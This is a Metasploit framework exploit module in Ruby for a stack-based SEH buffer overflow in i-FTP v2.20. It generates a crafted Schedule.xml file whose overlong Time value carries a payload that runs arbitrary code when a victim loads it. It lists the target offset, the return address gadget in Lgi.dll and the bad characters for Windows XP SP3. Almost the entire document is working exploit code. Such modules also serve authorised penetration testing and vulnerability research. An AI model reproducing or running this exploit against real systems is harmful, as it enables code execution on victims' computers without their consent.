i-FTP Schedule Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include REXML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'i-FTP Schedule Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow vulnerability in
          i-Ftp v2.20, caused by a long time value set for scheduled download.

          By persuading the victim to place a specially-crafted Schedule.xml file
          in the i-FTP folder, a remote attacker could execute arbitrary code on
          the system or cause the application to crash. This module has been
          tested successfully on Windows XP SP3.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'metacom', # Vulnerability discovery and PoC
          'Gabor Seljan' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2014-125114' ],
          [ 'EDB', '35177' ],
          [ 'OSVDB', '114279' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x0a\x0d\x20\x22",
          'Space' => 2000
        },
        'Targets' => [
          [
            'Windows XP SP3',
            {
              'Offset' => 600,
              'Ret' => 0x1001eade # POP ECX # POP ECX # RET [Lgi.dll]
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2014-11-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'Schedule.xml'])
      ],
      self.class
    )
  end

  def exploit
    evil = rand_text_alpha(target['Offset'])
    evil << generate_seh_payload(target.ret)
    evil << rand_text_alpha(20000)

    xml = Document.new
    xml << XMLDecl.new('1.0', 'UTF-8')
    xml.add_element('Schedule', {})
    xml.elements[1].add_element(
      'Event',
      {
        'Url' => '',
        'Time' => 'EVIL',
        'Folder' => ''
      }
    )

    sploit = ''
    xml.write(sploit, 2)
    sploit = sploit.gsub(/EVIL/, evil)

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
  end
end